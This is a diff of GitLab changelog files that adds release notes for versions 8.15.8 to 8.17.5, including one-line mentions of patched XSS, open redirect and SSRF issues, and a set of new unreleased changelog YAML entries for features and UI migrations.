+- Sanitize submodule URLs before linking to them in the file tree view.
+- Refactor snippets finder & dont return internal snippets for external users.
+- Fix snippets visibility for show action - external users can not see internal snippets.
+
+## 8.17.5 (2017-04-05)
+
+- Don’t show source project name when user does not have access.
+- Remove the class attribute from the whitelist for HTML generated from Markdown.
+- Fix path disclosure in project import/export.
+- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
+- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
+
+## 8.17.4 (2017-03-19)
+
+- Only show public emails in atom feeds.
+- To protect against Server-side Request Forgery project import URLs are now prohibited against localhost or the server IP except for the assigned instance URL and port. Imports are also prohibited from ports below 1024 with the exception of ports 22, 80, and 443.
+
+## 8.17.3 (2017-03-07)
+
+- Fix the redirect to custom home page URL. !9518
+- Fix broken migration when upgrading straight to 8.17.1. !9613
+- Make projects dropdown only show projects you are a member of. !9614
+- Fix creating a file in an empty repo using the API. !9632
+- Don't copy tooltip when copying GFM.
+- Fix cherry-picking or reverting through an MR.
+
+## 8.17.2 (2017-03-01)
+
+- Expire all webpack assets after 8.17.1 included a badly compiled asset. !9602
+
+## 8.17.1 (2017-02-28)
+
+- Replace setInterval with setTimeout to prevent highly frequent requests. !9271 (Takuya Noguchi)
+- Disable unused tags count cache for Projects, Builds and Runners.
+- Spam check and reCAPTCHA improvements.
+- Allow searching issues for strings containing colons.
+- Disabled tooltip on add issues button in usse boards.
+- Fixed commit search UI.
+- Fix MR changes tab size count when there are over 100 files in the diff.
+- Disable invalid service templates.
+- Use default branch as target_branch when parameter is missing.
+- Upgrade GitLab Pages to v0.3.2.
+- Add performance query regression fix for !9088 affecting #27267.
+- Chat slash commands show labels correctly.
+
+## 8.17.0 (2017-02-22)
+
+- API: Fix file downloading. !0 (8267)
+- Changed composer installer script in the CI PHP example doc. !4342 (Jeffrey Cafferata)
+- Display fullscreen button on small screens. !5302 (winniehell)
+- Add system hook for when a project is updated (other than rename/transfer). !5711 (Tommy Beadle)
+- Fix notifications when set at group level. !6813 (Alexandre Maia)
+- Project labels can now be promoted to group labels. !7242 (Olaf Tomalka)
+- use webpack to bundle frontend assets and use karma for frontend testing. !7288
+- Adds back ability to stop all environments. !7379
+- Added labels empty state. !7443
+- Add ability to define a coverage regex in the .gitlab-ci.yml. !7447 (Leandro Camargo)
+- Disable automatic login after clicking email confirmation links. !7472
+- Search feature: redirects to commit page if query is commit sha and only commit found. !8028 (YarNayar)
+- Create a TODO for user who set auto-merge when a build fails, merge conflict occurs. !8056 (twonegatives)
+- Don't group issues by project on group-level and dashboard issue indexes. !8111 (Bernardo Castro)
+- Mark MR as WIP when pushing WIP commits. !8124 (Jurre Stender @jurre)
+- Flag multiple empty lines in eslint, fix offenses. !8137
+- Add sorting pipeline for a commit. !8319 (Takuya Noguchi)
+- Adds service trigger events to api. !8324
+- Update pipeline and commit links when CI status is updated. !8351
+- Hide version check image if there is no internet connection. !8355 (Ken Ding)
+- Prevent removal of input fields if it is the parent dropdown element. !8397
+- Introduce maximum session time for terminal websocket connection. !8413
+- Allow creating protected branches when user can merge to such branch. !8458
+- Refactor MergeRequests::BuildService. !8462 (Rydkin Maxim)
+- Added GitLab Pages to CE. !8463
+- Support notes when a project is not specified (personal snippet notes). !8468
+- Use warning icon in mini-graph if stage passed conditionally. !8503
+- Don’t count tasks that are not defined as list items correctly. !8526
+- Reformat messages ChatOps. !8528
+- Copy commit SHA to clipboard. !8547
+- Improve button accessibility on pipelines page. !8561
+- Display project ID in project settings. !8572 (winniehell)
+- PlantUML support for Markdown. !8588 (Horacio Sanson)
+- Fix reply by email without sub-addressing for some clients from Microsoft and Apple. !8620
+- Fix nested tasks in ordered list. !8626
+- Fix Sort by Recent Sign-in in Admin Area. !8637 (Poornima M)
+- Avoid repeated dashes in $CI_ENVIRONMENT_SLUG. !8638
+- Only show Merge Request button when user can create a MR. !8639
+- Prevent copying of line numbers in parallel diff view. !8706
+- Improve build policy and access abilities. !8711
+- API: Remove /projects/:id/keys/.. endpoints. !8716 (Robert Schilling)
+- API: Remove deprecated 'expires_at' from project snippets. !8723 (Robert Schilling)
+- Add `copy` backup strategy to combat file changed errors. !8728
+- adds avatar for discussion note. !8734
+- Add link verification to badge partial in order to render a badge without a link. !8740
+- Reduce hits to LDAP on Git HTTP auth by reordering auth mechanisms. !8752
+- prevent diff unfolding link from appearing when there are no more lines to show. !8761
+- Redesign searchbar in admin project list. !8776
+- Rename Builds to Pipelines, CI/CD Pipelines, or Jobs everywhere. !8787
+- dismiss sidebar on repo buttons click. !8798 (Adam Pahlevi)
+- fixed small mini pipeline graph line glitch. !8804
+- Make all system notes lowercase. !8807
+- Support unauthenticated LFS object downloads for public projects. !8824 (Ben Boeckel)
+- Add read-only full_path and full_name attributes to Group API. !8827
+- allow relative url change without recompiling frontend assets. !8831
+- Use vue.js Pipelines table in commit and merge request view. !8844
+- Use reCaptcha when an issue is identified as a spam. !8846
+- resolve deprecation warnings. !8855 (Adam Pahlevi)
+- Cop for gem fetched from a git source. !8856 (Adam Pahlevi)
+- Remove flash warning from login page. !8864 (Gerald J. Padilla)
+- Adds documentation for how to use Vue.js. !8866
+- Add 'View on [env]' link to blobs and individual files in diffs. !8867
+- Replace word user with member. !8872
+- Change the reply shortcut to focus the field even without a selection. !8873 (Brian Hall)
+- Unify MR diff file button style. !8874
+- Unify projects search by removing /projects/:search endpoint. !8877
+- Fix disable storing of sensitive information when importing a new repo. !8885 (Bernard Pietraga)
+- Fix pipeline graph vertical spacing in Firefox and Safari. !8886
+- Fix filtered search user autocomplete for gitlab instances that are hosted on a subdirectory. !8891
+- Fix Ctrl+Click support for Todos and Merge Request page tabs. !8898
+- Fix wrong call to ProjectCacheWorker.perform. !8910
+- Don't perform Devise trackable updates on blocked User records. !8915
+- Add ability to export project inherited group members to Import/Export. !8923
+- replace `find_with_namespace` with `find_by_full_path`. !8949 (Adam Pahlevi)
+- Fixes flickering of avatar border in mention dropdown. !8950
+- Remove unnecessary queries for .atom and .json in Dashboard::ProjectsController#index. !8956
+- Fix deleting projects with pipelines and builds. !8960
+- Fix broken anchor links when special characters are used. !8961 (Andrey Krivko)
+- Ensure autogenerated title does not cause failing spec. !8963 (brian m. carlson)
+- Update doc for enabling or disabling GitLab CI. !8965 (Takuya Noguchi)
+- Remove deprecated MR and Issue endpoints and preserve V3 namespace. !8967
+- Fixed "substract" typo on /help/user/project/slash_commands. !8976 (Jason Aquino)
+- Preserve backward compatibility CI/CD and disallow setting `coverage` regexp in global context. !8981
+- use babel to transpile all non-vendor javascript assets regardless of file extension. !8988
+- Fix MR widget url. !8989
+- Fixes hover cursor on pipeline pagenation. !9003
+- Layer award emoji dropdown over the right sidebar. !9004
+- Do not display deploy keys in user's own ssh keys list. !9024
+- upgrade babel 5.8.x to babel 6.22.x. !9072
+- upgrade to webpack v2.2. !9078
+- Trigger autocomplete after selecting a slash command. !9117
+- Add space between text and loading icon in Megre Request Widget. !9119
+- Fix job to pipeline renaming. !9147
+- Replace static fixture for merge_request_tabs_spec.js. !9172 (winniehell)
+- Replace static fixture for right_sidebar_spec.js. !9211 (winniehell)
+- Show merge errors in merge request widget. !9229
+- Increase process_commit queue weight from 2 to 3. !9326 (blackst0ne)
+- Don't require lib/gitlab/request_profiler/middleware.rb in config/initializers/request_profiler.rb.
+- Force new password after password reset via API. (George Andrinopoulos)
+- Allows to search within project by commit hash. (YarNayar)
+- Show organisation membership and delete comment on smaller viewports, plus change comment author name to username.
+- Remove turbolinks.
+- Convert pipeline action icons to svg to have them properly positioned.
+- Remove rogue scrollbars for issue comments with inline elements.
+- Align Segoe UI label text.
+- Color + and - signs in diffs to increase code legibility.
+- Fix tab index order on branch commits list page. (Ryan Harris)
+- Add hover style to copy icon on commit page header. (Ryan Harris)
+- Remove hover animation from row elements.
+- Improve pipeline status icon linking in widgets.
+- Fix commit title bar and repository view copy clipboard button order on last commit in repository view.
+- Fix mini-pipeline stage tooltip text wrapping.
+- Updated builds info link on the project settings page. (Ryan Harris)
+- 27240 Make progress bars consistent.
+- Only render hr when user can't archive project.
+- 27352-search-label-filter-header.
+- Include :author, :project, and :target in Event.with_associations.
+- Don't instantiate AR objects in Event.in_projects.
+- Don't capitalize environment name in show page.
+- Update and pin the `jwt` gem to ~> 1.5.6.
+- Edited the column header for the environments list from created to updated and added created to environments detail page colum header titles.
+- Give ci status text on pipeline graph a better font-weight.
+- Add default labels to bulk assign dropdowns.
+- Only return target project's comments for a commit.
+- Fixes Pipelines table is not showing branch name for commit.
+- Fix regression where cmd-click stopped working for todos and merge request tabs.
+- Fix stray pipelines API request when showing MR.
+- Fix Merge request pipelines displays JSON.
+- Fix current build arrow indicator.
+- Fix contribution activity alignment.
+- Show Pipeline(not Job) in MR desktop notification.
+- Fix tooltips in mini pipeline graph.
+- Display loading indicator when filtering ref switcher dropdown.
+- Show pipeline graph in MR widget if there are any stages.
+- Fix icon colors in merge request widget mini graph.
+- Improve blockquote formatting in notification emails.
+- Adds container to tooltip in order to make it work with overflow:hidden in parent element.
+- Restore pagination to admin abuse reports.
+- Ensure export files are removed after a namespace is deleted.
+- Add `y` keyboard shortcut to move to file permalink.
+- Adds /target_branch slash command functionality for merge requests. (YarNayar)
+- Patch Asciidocs rendering to block XSS.
+- contribution calendar scrolls from right to left.
+- Copying a rendered issue/comment will paste into GFM textareas as actual GFM.
+- Don't delete assigned MRs/issues when user is deleted.
+- Remove new branch button for confidential issues.
+- Don't allow project guests to subscribe to merge requests through the API. (Robert Schilling)
+- Don't connect in Gitlab::Database.adapter_name.
+- Prevent users from creating notes on resources they can't access.
+- Ignore encrypted attributes in Import/Export.
+- Change rspec test to guarantee window is resized before visiting page.
+- Prevent users from deleting system deploy keys via the project deploy key API.
+- Fix XSS vulnerability in SVG attachments.
+- Make MR-review-discussions more reliable.
+- fix incorrect sidekiq concurrency count in admin background page. (wendy0402)
+- Make notification_service spec DRYer by making test reusable. (YarNayar)
+- Redirect http://someproject.git to http://someproject. (blackst0ne)
+- Fixed group label links in issue/merge request sidebar.
+- Improve gl.utils.handleLocationHash tests.
+- Fixed Issuable sidebar not closing on smaller/mobile sized screens.
+- Resets assignee dropdown when sidebar is open.
+- Disallow system notes for closed issuables.
+- Fix timezone on issue boards due date.
+- Remove unused js response from refs controller.
+- Prevent the GitHub importer from assigning labels and comments to merge requests or issues belonging to other projects.
+- Fixed merge requests tab extra margin when fixed to window.
+- Patch XSS vulnerability in RDOC support.
+- Refresh authorizations when transferring projects.
+- Remove issue and MR counts from labels index.
+- Don't use backup Active Record connections for Sidekiq.
+- Add index to ci_trigger_requests for commit_id.
+- Add indices to improve loading of labels page.
+- Reduced query count for snippet search.
+- Update GitLab Pages to v0.3.1.
+- Upgrade omniauth gem to 1.3.2.
+- Remove deprecated GitlabCiService.
+- Requeue pending deletion projects.
+
+## 8.16.9 (2017-04-05)
+
+- Don’t show source project name when user does not have access.
+- Remove the class attribute from the whitelist for HTML generated from Markdown.
+- Fix path disclosure in project import/export.
+- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
+- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
+
+## 8.16.8 (2017-03-19)
+
+- Only show public emails in atom feeds.
+- To protect against Server-side Request Forgery project import URLs are now prohibited against localhost or the server IP except for the assigned instance URL and port. Imports are also prohibited from ports below 1024 with the exception of ports 22, 80, and 443.
+
+## 8.16.7 (2017-02-27)
+
+- Fix MR changes tab size count when there are over 100 files in the diff.
+
+## 8.16.6 (2017-02-17)
+
+- API: Fix file downloading. !0 (8267)
+- Reduce hits to LDAP on Git HTTP auth by reordering auth mechanisms. !8752
+- Fix filtered search user autocomplete for gitlab instances that are hosted on a subdirectory. !8891
+- Fix wrong call to ProjectCacheWorker.perform. !8910
+- Remove unnecessary queries for .atom and .json in Dashboard::ProjectsController#index. !8956
+- Fix broken anchor links when special characters are used. !8961 (Andrey Krivko)
+- Do not display deploy keys in user's own ssh keys list. !9024
+- Show merge errors in merge request widget. !9229
+- Don't delete assigned MRs/issues when user is deleted.
+- backport of EE fix !954.
+- Refresh authorizations when transferring projects.
+- Don't use backup Active Record connections for Sidekiq.
+- Check public snippets for spam.
+
+## 8.16.5 (2017-02-14)
+
+- Patch Asciidocs rendering to block XSS.
+- Fix XSS vulnerability in SVG attachments.
+- Prevent the GitHub importer from assigning labels and comments to merge requests or issues belonging to other projects.
+- Patch XSS vulnerability in RDOC support.
+
+## 8.16.4 (2017-02-02)
+
+- Support non-ASCII characters in GFM autocomplete. !8729
+- Fix search bar search param encoding. !8753
+- Fix project name label's for reference in project settings. !8795
+- Fix filtering with multiple words. !8830
+- Fixed services form cancel not redirecting back the integrations settings view. !8843
+- Fix filtering usernames with multiple words. !8851
+- Improve performance of slash commands. !8876
+- Remove old project members when retrying an export.
+- Fix permalink discussion note being collapsed.
+- Add project ID index to `project_authorizations` table to optimize queries.
+- Check public snippets for spam.
+- 19164 Add settings dropdown to mobile screens.
+
+## 8.16.3 (2017-01-27)
+
+- Add caching of droplab ajax requests. !8725
+- Fix access to the wiki code via HTTP when repository feature disabled. !8758
+- Revert 3f17f29a. !8785
+- Fix race conditions for AuthorizedProjectsWorker.
+- Fix autocomplete initial undefined state.
+- Fix Error 500 when repositories contain annotated tags pointing to blobs.
+- Fix /explore sorting.
+- Fixed label dropdown toggle text not correctly updating.
+
+## 8.16.2 (2017-01-25)
+
+- allow issue filter bar to be operated with mouse only. !8681
+- Fix CI requests concurrency for newer runners that prevents from picking pending builds (from 1.9.0-rc5). !8760
+- Add some basic fixes for IE11/Edge.
+- Remove blue border from comment box hover.
+- Fixed bug where links in merge dropdown wouldn't work.
+
+## 8.16.1 (2017-01-23)
+
+- Ensure export files are removed after a namespace is deleted.
+- Don't allow project guests to subscribe to merge requests through the API. (Robert Schilling)
+- Prevent users from creating notes on resources they can't access.
+- Prevent users from deleting system deploy keys via the project deploy key API.
+- Upgrade omniauth gem to 1.3.2.
+
+## 8.16.0 (2017-01-22)
+
+- Add LDAP Rake task to rename a provider. !2181
+- Validate label's title length. !5767 (Tomáš Kukrál)
+- Allow to add deploy keys with write-access. !5807 (Ali Ibrahim)
+- Allow to use + symbol in filenames. !6644 (blackst0ne)
+- Search bar redesign first iteration. !7345
+- Fix date inconsistency on due date picker. !7422 (Giuliano Varriale)
+- Add email confirmation field to registration form. !7432
+- Updated project visibility settings UX. !7645
+- Go to a project order. !7737 (Jacopo Beschi @jacopo-beschi)
+- Support slash comand `/merge` for merging merge requests. !7746 (Jarka Kadlecova)
+- Add more storage statistics. !7754 (Markus Koller)
+- Add support for PlantUML diagrams in AsciiDoc documents. !7810 (Horacio Sanson)
+- Remove extra orphaned rows when removing stray namespaces. !7841
+- Added lighter count badge background-color for on white backgrounds. !7873
+- Fixes issue boards list colored top border visual glitch. !7898 (Pier Paolo Ramon)
+- change 'gray' color theme name to 'black' to match the actual color. !7908 (BM5k)
+- Remove trailing whitespace when generating changelog entry. !7948
+- Remove checking branches state in issue new branch button. !8023
+- Log LDAP blocking/unblocking events to application log. !8042 (Markus Koller)
+- ensure permalinks scroll to correct position on multiple clicks. !8046
+- Allow to use ENV variables in redis config. !8073 (Semyon Pupkov)
+- fix button layout issue on branches page. !8074
+- Reduce DB-load for build-queues by storing last_update in Redis. !8084
+- Record and show last used date of SSH Keys. !8113 (Vincent Wong)
+- Resolves overflow in compare branch and tags dropdown. !8118
+- Replace wording for slash command confirmation message. !8123
+- remove build_user. !8162 (Arsenev Vladislav)
+- Prevent empty pagination when list is not empty. !8172
+- Make successful pipeline emails off for watchers. !8176
+- Improve copy in Issue Tracker empty state. !8202
+- Adds CSS class to status icon on MR widget to prevent non-colored icon. !8219
+- Improve visibility of "Resolve conflicts" and "Merge locally" actions. !8229
+- Add Gitaly to the architecture documentation. !8264 (Pablo Carranza <pablo@gitlab.com>)
+- Sort numbers in build names more intelligently. !8277
+- Show nested groups tab on group page. !8308
+- Rename users with namespace ending with .git. !8309
+- Rename filename to file path in tooltip of file header in merge request diff. !8314
+- About GitLab link in sidebar that links to help page. !8316
+- Merged the 'Groups' and 'Projects' tabs when viewing user profiles. !8323 (James Gregory)
+- re-enable change username button after failure. !8332
+- Darkened hr border color in descriptions because of update of bootstrap. !8333
+- display merge request discussion tab for empty branches. !8347
+- Fix double spaced CI log. !8349 (Jared Deckard <jared.deckard@gmail.com>)
+- Refactored note edit form to improve frontend performance on MR and Issues pages, especially pages with has a lot of discussions in it. !8356
+- Make CTRL+Enter submits a new merge request. !8360 (Saad Shahd)
+- Fixes too short input for placeholder message in commit listing page. !8367
+- Fix typo: seach to search. !8370
+- Adds label to Environments "Date Created". !8376 (Saad Shahd)
+- Convert project setting text into protected branch path link. !8377 (Ken Ding)
+- Precompile all JavaScript fixtures. !8384
+- Use original casing for build action text. !8387
+- Scroll to bottom on build completion if autoscroll was active. !8391
+- Properly handle failed reCAPTCHA on user registration. !8403
+- Changed alerts to be responsive, centered text on smaller viewports. !8424 (Connor Smallman)
+- Pass Gitaly resource path to gitlab-workhorse if Gitaly is enabled. !8440
+- Fixes and Improves CSS and HTML problems in mini pipeline graph and builds dropdown. !8443
+- Don't instrument 405 Grape calls. !8445
+- Change CI template linter textarea with Ace Editor. !8452 (Didem Acet)
+- Removes unneeded `window` declaration in environments related code. !8456
+- API: fix query response for `/projects/:id/issues?milestone="No%20Milestone"`. !8457 (Panagiotis Atmatzidis, David Eisner)
+- Fix broken url on group avatar. !8464 (hogewest)
+- Fixes buttons not being accessible via the keyboard when creating new group. !8469
+- Restore backup correctly when "BACKUP" environment variable is passed. !8477
+- Add new endpoints for Time Tracking. !8483
+- Fix Compare page throws 500 error when any branch/reference is not selected. !8492 (Martin Cabrera)
+- Treat environments matching `production/*` as Production. !8500
+- Hide build artifacts keep button if operation is not allowed. !8501
+- Update the gitlab-markup gem to the version 1.5.1. !8509
+- Remove Lock Icon on Protected Tag. !8513 (Sergey Nikitin)
+- Use cached values to compute total issues count in milestone index pages. !8518
+- Speed up dashboard milestone index by scoping IssuesFinder to user authorized projects. !8524
+- Copy <some text> to clipboard. !8535
+- Check for env[Grape::Env::GRAPE_ROUTING_ARGS] instead of endpoint.route. !8544
+- Fixes builds dropdown making request when clicked to be closed. !8545
+- Fixes pipeline status cell is too wide by adding missing classes in table head cells. !8549
+- Mutate the attribute instead of issuing a write operation to the DB in `ProjectFeaturesCompatibility` concern. !8552
+- Fix links to commits pages on pipelines list page. !8558
+- Ensure updating project settings shows a flash message on success. !8579 (Sandish Chen)
+- Fixes big pipeline and small pipeline width problems and tooltips text being outside the tooltip. !8593
+- Autoresize markdown preview. !8607 (Didem Acet)
+- Link external build badge to its target URL. !8611
+- Adjust ProjectStatistic#repository_size with values saved as MB. !8616
+- Correct User-agent placement in robots.txt. !8623 (Eric Sabelhaus)
+- Record used SSH keys only once per day. !8655
+- Do not generate pipeline branch/tag path if not present. !8658
+- Fix Merge When Pipeline Succeeds immediate merge bug. !8685
+- Fix blame 500 error on invalid path. !25761 (Jeff Stubler)
+- Added animations to issue boards interactions.
+- Check if user can read project before being assigned to issue.
+- Show 'too many changes' message for created merge requests when they are too large.
+- Fix redirect after update file when user has forked project.
+- Parse JIRA issue references even if Issue Tracker is disabled.
+- Made download artifacts button accessible via keyboard by changing it from an anchor tag to an actual button. (Ryan Harris)
+- Make play button on Pipelines page accessible via keyboard. (Ryan Harris)
+- Decreases font-size on login page.
+- Fixed merge request tabs dont move when opening collapsed sidebar.
+- Display project avatars on Admin Area and Projects pages for mobile views. (Ryan Harris)
+- Fix participants margins to fit on one line.
+- 26352 Change Profile settings to User / Settings.
+- Fix Commits API to accept a Project path upon POST.
+- Expire related caches after changing HEAD. (Minqi Pan)
+- Add various hover animations throughout the application.
+- Re-order update steps in the 8.14 -> 8.15 upgrade guide.
+- Move award emoji's out of the discussion tab for merge requests.
+- Synchronize all project authorization refreshing work to prevent race conditions.
+- Remove the project_authorizations.id column.
+- Combined the settings options project members and groups into a single one called members.
+- Change earlier to task_status_short to avoid titlebar line wraps.
+- 25701 standardize text colors.
+- Handle HTTP errors in environment list.
+- Re-add Google Cloud Storage as a backup strategy.
+- Change status colors of runners to better defaults.
+- Added number_with_delimiter to counter on milestone panels. (Ryan Harris)
+- Query external CI statuses in the background.
+- Allow group and project paths when transferring projects via the API.
+- Don't validate environment urls on .gitlab-ci.yml.
+- Fix a Grape deprecation, use `#request_method` instead of `#route_method`.
+- Fill missing authorized projects rows.
+- Allow API query to find projects with dots in their name. (Bruno Melli)
+- Fix import/export wrong user mapping.
+- Removed bottom padding from merge manually from CLI because of repositioning award emoji's.
+- Fix project queued for deletion re-creation tooltip.
+- Fix search group/project filtering to show results.
+- Fix 500 error when POSTing to Users API with optional confirm param.
+- 26504 Fix styling of MR jump to discussion button.
+- Add margin to markdown math blocks.
+- Add hover state to MR comment reply button.
+
+
## 8.15.8 (2017-03-19)
- Only show public emails in atom feeds.
diff --git a/changelogs/unreleased/11496-issue-type-nplus1.yml b/changelogs/unreleased/11496-issue-type-nplus1.yml
new file mode 100644
index 00000000000..09fcf3d5513
--- /dev/null
+++ b/changelogs/unreleased/11496-issue-type-nplus1.yml
@@ -0,0 +1,5 @@
+---
+title: Graphql Issues - Fix N+1 for Assignees
+merge_request: 41233
+author:
+type: performance
diff --git a/changelogs/unreleased/11679-conan-project-level.yml b/changelogs/unreleased/11679-conan-project-level.yml
new file mode 100644
index 00000000000..c57abdb5461
--- /dev/null
+++ b/changelogs/unreleased/11679-conan-project-level.yml
@@ -0,0 +1,5 @@
+---
+title: Allow Conan packages to be scoped to project-level
+merge_request: 39541
+author:
+type: added
diff --git a/changelogs/unreleased/13402-close-alert-when-end-time-given.yml b/changelogs/unreleased/13402-close-alert-when-end-time-given.yml
new file mode 100644
index 00000000000..805f447ea5c
--- /dev/null
+++ b/changelogs/unreleased/13402-close-alert-when-end-time-given.yml
@@ -0,0 +1,5 @@
+---
+title: Automatically resolve alert when receiving end time
+merge_request: 41648
+author:
+type: added
diff --git a/changelogs/unreleased/1449-add-created-at-index-on-audit-events.yml b/changelogs/unreleased/1449-add-created-at-index-on-audit-events.yml
new file mode 100644
index 00000000000..c4dacb3cb30
--- /dev/null
+++ b/changelogs/unreleased/1449-add-created-at-index-on-audit-events.yml
@@ -0,0 +1,5 @@
+---
+title: Optimise index on audit events for CSV export
+merge_request: 41266
+author:
+type: added
diff --git a/changelogs/unreleased/15304-skipped-pipeline-status-badge.yml b/changelogs/unreleased/15304-skipped-pipeline-status-badge.yml
new file mode 100644
index 00000000000..ee80a3bee0f
--- /dev/null
+++ b/changelogs/unreleased/15304-skipped-pipeline-status-badge.yml
@@ -0,0 +1,5 @@
+---
+title: Add ignore_skipped option for pipeline status badge
+merge_request: 28288
+author: Fabian Schneider @fabsrc
+type: added
diff --git a/changelogs/unreleased/15399-show-multiple-jobs-for-coverage.yml b/changelogs/unreleased/15399-show-multiple-jobs-for-coverage.yml
new file mode 100644
index 00000000000..3dbbd22e002
--- /dev/null
+++ b/changelogs/unreleased/15399-show-multiple-jobs-for-coverage.yml
@@ -0,0 +1,5 @@
+---
+title: Show multiple jobs contributing to code coverage
+merge_request: 41217
+author:
+type: added
diff --git a/changelogs/unreleased/16525-push-mirror-lfs-sync.yml b/changelogs/unreleased/16525-push-mirror-lfs-sync.yml
new file mode 100644
index 00000000000..60801c747ab
--- /dev/null
+++ b/changelogs/unreleased/16525-push-mirror-lfs-sync.yml
@@ -0,0 +1,5 @@
+---
+title: Sync LFS objects when push mirroring
+merge_request: 40137
+author:
+type: added
diff --git a/changelogs/unreleased/196032-create-ci-linting-api-that-allows-ci-linting-to-be-applied-across-.yml b/changelogs/unreleased/196032-create-ci-linting-api-that-allows-ci-linting-to-be-applied-across-.yml
new file mode 100644
index 00000000000..485bfecd0d3
--- /dev/null
+++ b/changelogs/unreleased/196032-create-ci-linting-api-that-allows-ci-linting-to-be-applied-across-.yml
@@ -0,0 +1,5 @@
+---
+title: Add json api endpoint that provides CI linting
+merge_request: 37344
+author:
+type: added
diff --git a/changelogs/unreleased/196066-add-milestone-expired-info.yml b/changelogs/unreleased/196066-add-milestone-expired-info.yml
new file mode 100644
index 00000000000..b9841a102a4
--- /dev/null
+++ b/changelogs/unreleased/196066-add-milestone-expired-info.yml
@@ -0,0 +1,5 @@
+---
+title: Show expired milestones at the bottom of the list within dropdown
+merge_request: 36562
+author:
+type: added
diff --git a/changelogs/unreleased/197297-test-settings-and-save-changes-vue.yml b/changelogs/unreleased/197297-test-settings-and-save-changes-vue.yml
new file mode 100644
index 00000000000..e58266cfe78
--- /dev/null
+++ b/changelogs/unreleased/197297-test-settings-and-save-changes-vue.yml
@@ -0,0 +1,5 @@
+---
+title: Split "Test settings" and "Save changes" to separate buttons
+merge_request: 37413
+author:
+type: changed
diff --git a/changelogs/unreleased/198439-expose-pending-todo-in-graphql.yml b/changelogs/unreleased/198439-expose-pending-todo-in-graphql.yml
new file mode 100644
index 00000000000..221279e8b19
--- /dev/null
+++ b/changelogs/unreleased/198439-expose-pending-todo-in-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Expose the todos of the current user on relevant objects in GraphQL
+merge_request: 40555
+author:
+type: added
diff --git a/changelogs/unreleased/198606-editor-lite-ci-linting.yml b/changelogs/unreleased/198606-editor-lite-ci-linting.yml
new file mode 100644
index 00000000000..fe3700b4802
--- /dev/null
+++ b/changelogs/unreleased/198606-editor-lite-ci-linting.yml
@@ -0,0 +1,5 @@
+---
+title: Replaced ACE with Editor Lite on CI linting view
+merge_request: 41895
+author:
+type: changed
diff --git a/changelogs/unreleased/202012-pypi-job-tokens.yml b/changelogs/unreleased/202012-pypi-job-tokens.yml
new file mode 100644
index 00000000000..9b0138faaa1
--- /dev/null
+++ b/changelogs/unreleased/202012-pypi-job-tokens.yml
@@ -0,0 +1,5 @@
+---
+title: Add job token authentication for the GitLab PyPI package repository
+merge_request: 40888
+author:
+type: added
diff --git a/changelogs/unreleased/202230-migrate-spinner-for-app-views-imports.yml b/changelogs/unreleased/202230-migrate-spinner-for-app-views-imports.yml
new file mode 100644
index 00000000000..ac7850e4cc5
--- /dev/null
+++ b/changelogs/unreleased/202230-migrate-spinner-for-app-views-imports.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/views/imports'
+merge_request: 41153
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202235-migrate-spinner-for-app-views-projects-imports.yml b/changelogs/unreleased/202235-migrate-spinner-for-app-views-projects-imports.yml
new file mode 100644
index 00000000000..e8832c73ad7
--- /dev/null
+++ b/changelogs/unreleased/202235-migrate-spinner-for-app-views-projects-imports.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/views/projects/imports'
+merge_request: 41151
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202237-migrate-spinner-for-app-views-projects-tree.yml b/changelogs/unreleased/202237-migrate-spinner-for-app-views-projects-tree.yml
new file mode 100644
index 00000000000..90aae9ed602
--- /dev/null
+++ b/changelogs/unreleased/202237-migrate-spinner-for-app-views-projects-tree.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/views/projects/tree'
+merge_request: 41148
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202261-migrate-spinner-for-app-assets-javascripts-ajax_loading_spinner-js.yml b/changelogs/unreleased/202261-migrate-spinner-for-app-assets-javascripts-ajax_loading_spinner-js.yml
new file mode 100644
index 00000000000..43f38c1bbb8
--- /dev/null
+++ b/changelogs/unreleased/202261-migrate-spinner-for-app-assets-javascripts-ajax_loading_spinner-js.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/assets/javascripts/ajax_loading_spinner.js'
+merge_request: 41147
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202262-migrate-spinner-for-app-assets-javascripts-blob-file_template_sele.yml b/changelogs/unreleased/202262-migrate-spinner-for-app-assets-javascripts-blob-file_template_sele.yml
new file mode 100644
index 00000000000..fe300716d98
--- /dev/null
+++ b/changelogs/unreleased/202262-migrate-spinner-for-app-assets-javascripts-blob-file_template_sele.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/assets/javascripts/blob/file_template_selector.js'
+merge_request: 41146
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202267-migrate-spinner-for-app-assets-javascripts-vue_merge_request_widge.yml b/changelogs/unreleased/202267-migrate-spinner-for-app-assets-javascripts-vue_merge_request_widge.yml
new file mode 100644
index 00000000000..56976945c94
--- /dev/null
+++ b/changelogs/unreleased/202267-migrate-spinner-for-app-assets-javascripts-vue_merge_request_widge.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue'
+merge_request: 41142
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/202270-migrate-spinner-for-app-assets-javascripts-notes-components-note_h.yml b/changelogs/unreleased/202270-migrate-spinner-for-app-assets-javascripts-notes-components-note_h.yml
new file mode 100644
index 00000000000..c506a08a936
--- /dev/null
+++ b/changelogs/unreleased/202270-migrate-spinner-for-app-assets-javascripts-notes-components-note_h.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate '.fa-spinner' to '.spinner' for 'app/assets/javascripts/notes/components/note_header.vue'
+merge_request: 41140
+author: Gilang Gumilar
+type: changed
